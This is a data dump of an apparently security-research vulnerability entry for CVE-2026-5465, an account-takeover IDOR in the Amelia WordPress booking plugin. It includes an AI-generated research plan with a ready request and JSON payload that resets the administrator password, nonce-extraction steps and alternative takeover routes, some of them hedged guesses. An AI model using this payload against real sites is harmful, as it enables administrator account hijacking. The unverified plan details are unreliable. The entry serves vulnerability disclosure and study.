[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fHIzPf-lz7Ir6zAMO2-hPC_CJIAHq-zoO5wE3XJCxiEQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-5465","amelia-insecure-direct-object-reference-to-authenticated-employee-privilege-escalation-via-externalid-parameter","Amelia \u003C= 2.1.3 - Insecure Direct Object Reference to Authenticated (Employee+) Privilege Escalation via 'externalId' Parameter","The Booking for Appointments and Events Calendar – Amelia plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.1.3. This is due to the `UpdateProviderCommandHandler` failing to validate changes to the `externalId` field when a Provider (Employee) user updates their own profile. The `externalId` maps directly to a WordPress user ID and is passed to `wp_set_password()` and `wp_update_user()` without authorization checks. This makes it possible for authenticated attackers, with Provider-level (Employee) access and above, to take over any WordPress account — including Administrator — by injecting an arbitrary `externalId` value when updating their own provider profile.","ameliabooking",null,"\u003C=2.1.3","2.2","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Authorization Bypass Through User-Controlled Key","2026-04-06 18:13:11","2026-04-07 06:43:42",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa4204099-1065-4167-8b42-3da25945236c?source=api-prod",1,[22,23,24,25,26,27,28,29],"ameliabooking.php","extensions\u002Fdivi_5_amelia\u002Fserver\u002FAmeliaEventsListModule.php","extensions\u002Fdivi_5_amelia\u002Fvisual-builder\u002Fbuild\u002Fdivi-5-amelia.js","extensions\u002Fdivi_5_amelia\u002Fvisual-builder\u002Fsrc\u002Fmodules\u002FBooking\u002Fmodule.json","extensions\u002Fdivi_5_amelia\u002Fvisual-builder\u002Fsrc\u002Fmodules\u002FCatalog\u002Fmodule.json","extensions\u002Fdivi_5_amelia\u002Fvisual-builder\u002Fsrc\u002Fmodules\u002FEvents\u002Fmodule.json","extensions\u002Fdivi_5_amelia\u002Fvisual-builder\u002Fsrc\u002Fmodules\u002FEventsList\u002Fconversion-outline.json","extensions\u002Fdivi_5_amelia\u002Fvisual-builder\u002Fsrc\u002Fmodules\u002FEventsList\u002Fmodule.json","researched",false,3,"# Research Plan: CVE-2026-5465 Amelia Privilege Escalation\n\n## 1. Vulnerability Summary\nThe Amelia plugin (\u003C= 2.1.3) contains an Insecure Direct Object Reference (IDOR) vulnerability in the `UpdateProviderCommandHandler`. When an authenticated user with \"Provider\" (Amelia Employee) privileges updates their own profile, the application fails to validate the `externalId` parameter. In Amelia's architecture, `externalId` maps directly to a WordPress User ID. Because this value is passed to sensitive WordPress functions like `wp_update_user()` and `wp_set_password()` without verifying that the `externalId` matches the authenticated user's own ID, a Provider can modify the credentials of any WordPress user, including Administrators.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `admin-ajax.php?action=wpamelia_api&call=\u002Fusers\u002Fproviders\u002F{id}`\n*   **Method:** `POST` (Amelia uses `POST` for updates, often mimicking RESTful `PUT` behavior via route handling).\n*   **Vulnerable Parameter:** `externalId` (within the JSON request body).\n*   **Authentication Required:** Authenticated user with the `Amelia Employee` (Provider) role.\n*   **Preconditions:** The attacker must know the WordPress User ID of the target (typically `1` for the primary administrator).\n\n## 3. Code Flow\n1.  **Entry Point:** `ameliabooking.php` registers the AJAX action `wpamelia_api` via `Plugin::wpAmeliaApiCall()`.\n2.  **Routing:** `Routes::routes($app, $container)` defines the Slim framework routes. The route `\u002Fusers\u002Fproviders\u002F{id}` is mapped to the `UpdateProviderCommandHandler`.\n3.  **Command Handling:** `UpdateProviderCommandHandler` receives the request. It extracts data from the JSON body, including the `externalId`.\n4.  **Authorization Failure:** The handler checks if the authenticated user is a Provider and is updating their own Amelia ID (`{id}`). However, it **does not** check if the `externalId` (the WP User ID) belongs to that same user.\n5.  **Sink:** The command handler or the underlying `UserService`\u002F`UserRepository` calls `wp_update_user()` or `wp_set_password()` using the attacker-supplied `externalId`.\n\n## 4. Nonce Acquisition Strategy\nAmelia requires a WordPress nonce for all `wpamelia_api` AJAX calls. For authenticated backend users (Employees\u002FAdmins), the nonce is generated and localized for the Vue.js dashboard.\n\n1.  **Login:** Authenticate as the Provider (Employee) user.\n2.  **Identify Page:** The Amelia backend dashboard is usually located at `\u002Fwp-admin\u002Fadmin.php?page=wpamelia-dashboard` or `\u002Fwp-admin\u002Fadmin.php?page=wpamelia-employees`.\n3.  **Extraction:**\n    *   Amelia typically localizes its configuration in the `wpAmeliaNonce` global variable or within a large configuration object.\n    *   **Action:** Navigate to the Amelia Employees page in the WordPress backend.\n    *   **JS Command:** `browser_eval(\"window.wpAmeliaNonce\")` or `browser_eval(\"ameliaBookingData.nonce\")`.\n    *   *Note:* In version 2.1.3, the common variable is `window.wpAmeliaNonce`.\n\n## 5. Exploitation Strategy\n\n### Step 1: Data Setup\n*   Create a WordPress user with the `Amelia Employee` role.\n*   Ensure the Amelia plugin is configured so this user is recognized as a \"Provider\" within the Amelia > Employees section.\n*   Identify the target Admin's WP User ID (default: `1`).\n\n### Step 2: Obtain Nonce and Provider ID\n*   Log in as the Employee.\n*   Navigate to the WordPress Admin area.\n*   Retrieve the `wpAmeliaNonce`.\n*   Retrieve the Employee's Amelia Provider ID (can be seen in the URL when editing the profile or via a `GET` request to `\u002Fusers\u002Fproviders`).\n\n### Step 3: Execute Hijack Request\nSend a `POST` request to update the profile, injecting the Administrator's WP ID into `externalId`.\n\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php?action=wpamelia_api&call=\u002Fusers\u002Fproviders\u002F{PROVIDER_ID}`\n*   **Headers:**\n    *   `Content-Type: application\u002Fjson`\n    *   `X-Amelia-Nonce: {NONCE_VALUE}` (Amelia sometimes expects the nonce in a custom header or as a `wpAmeliaNonce` parameter in the body\u002FURL).\n*   **Payload (JSON):**\n```json\n{\n  \"id\": {PROVIDER_ID},\n  \"firstName\": \"Attacker\",\n  \"lastName\": \"User\",\n  \"email\": \"attacker@example.com\",\n  \"externalId\": 1,\n  \"password\": \"pwned_password123\",\n  \"status\": \"visible\"\n}\n```\n\n### Step 4: Access Admin Account\n*   Log out.\n*   Log in to `\u002Fwp-login.php` as the Administrator (e.g., username `admin`) using the password `pwned_password123`.\n\n## 6. Test Data Setup\n1.  **Target User:** User ID `1` (Admin).\n2.  **Attacker User:** Create WP user `employee_atk`, role `subscriber` (Amelia will elevate this or link it).\n3.  **Amelia Config:** \n    *   Go to Amelia > Employees.\n    *   Add `employee_atk` as an Employee.\n    *   Record the internal Amelia ID assigned to them (e.g., `5`).\n\n## 7. Expected Results\n*   The API should return a `200 OK` or `201 Created` response with a JSON body confirming the update.\n*   The WordPress database (`wp_users` table) will reflect the change for User ID `1`.\n*   The Administrator will no longer be able to log in with their original password.\n\n## 8. Verification Steps\n1.  **Check via WP-CLI:**\n    ```bash\n    # Check if the admin user's email was changed\n    wp user get 1 --fields=user_email\n    \n    # Check if the password was updated (attempt login)\n    wp user check-password admin pwned_password123\n    ```\n2.  **Verify Amelia State:**\n    ```bash\n    # Check if the provider is now linked to the admin ID in Amelia tables\n    wp db query \"SELECT * FROM wp_amelia_users WHERE id = {PROVIDER_ID}\"\n    ```\n\n## 9. Alternative Approaches\n*   **Email Hijack:** Instead of changing the password, change the `email` field associated with `externalId: 1`. Then use the WordPress \"Lost your password?\" feature to reset the Admin password via the attacker's email.\n*   **Method Spoofing:** If the endpoint expects `PUT`, Amelia's Slim implementation might require an `X-HTTP-Method-Override: PUT` header or a `_method: PUT` parameter in the JSON body.\n*   **Generic Nonce:** Check if the nonce used for public bookings (often found on the frontend page with the `[ameliabooking]` shortcode) is accepted by the backend API. (Though the vulnerability specifies Employee-level access).","The Amelia plugin for WordPress is vulnerable to privilege escalation via an Insecure Direct Object Reference (IDOR) in the UpdateProviderCommandHandler. Authenticated users with Provider (Employee) permissions can update their own profile while supplying an arbitrary 'externalId' value, which corresponds to a WordPress User ID. Because the plugin uses this ID to call sensitive functions like wp_set_password() without verifying ownership, an attacker can take over any WordPress account, including Administrators.","\u002F\u002F ameliabooking.php line 185\npublic static function wpAmeliaApiCall()\n{\n    try {\n        \u002F** @var Container $container *\u002F\n        $container = require AMELIA_PATH . '\u002Fsrc\u002FInfrastructure\u002FContainerConfig\u002Fcontainer.php';\n\n        $app = new App($container);\n\n        \u002F\u002F Initialize all API routes\n        Routes::routes($app, $container);\n\n        $app->run();\n\n        exit();\n    } catch (Exception $e) {\n        echo 'ERROR: ' . esc_html($e->getMessage());\n    }\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fameliabooking\u002F2.1.3\u002Fameliabooking.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fameliabooking\u002F2.2\u002Fameliabooking.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fameliabooking\u002F2.1.3\u002Fameliabooking.php\t2026-03-23 12:11:14.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fameliabooking\u002F2.2\u002Fameliabooking.php\t2026-04-06 08:22:38.000000000 +0000\n@@ -3,7 +3,7 @@\n Plugin Name: Amelia\n Plugin URI: https:\u002F\u002Fwpamelia.com\u002F\n Description: Amelia is a simple yet powerful automated booking specialist, working 24\u002F7 to make sure your customers can make appointments and events even while you sleep!\n-Version: 2.1.3\n+Version: 2.2\n Author: Melograno Ventures\n Author URI: https:\u002F\u002Fmelograno.io\u002F\n Text Domain: ameliabooking\n@@ -111,7 +111,7 @@\n \n \u002F\u002F Const for Amelia version\n if (!defined('AMELIA_VERSION')) {\n-    define('AMELIA_VERSION', '2.1.3');\n+    define('AMELIA_VERSION', '2.2');\n }\n \n \u002F\u002F Const for site URL","1. Authenticate to the WordPress site as a user with the 'Amelia Employee' (Provider) role.\n2. Navigate to the Amelia dashboard and extract the AJAX nonce from the 'window.wpAmeliaNonce' JavaScript variable.\n3. Identify the target WordPress Administrator's User ID (usually 1).\n4. Send a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php?action=wpamelia_api&call=\u002Fusers\u002Fproviders\u002F{provider_id}', where {provider_id} is the attacker's own Amelia ID.\n5. Include a JSON payload containing the keys 'externalId' (set to the Administrator's WP User ID) and 'password' (set to a new password of the attacker's choosing).\n6. The plugin will execute wp_set_password() for the target ID, allowing the attacker to log in as the Administrator via wp-login.php.","gemini-3-flash-preview","2026-04-17 21:19:33","2026-04-17 21:20:00",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","2.1.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fameliabooking\u002Ftags\u002F2.1.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fameliabooking.2.1.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fameliabooking\u002Ftags\u002F2.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fameliabooking.2.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fameliabooking\u002Ftags"]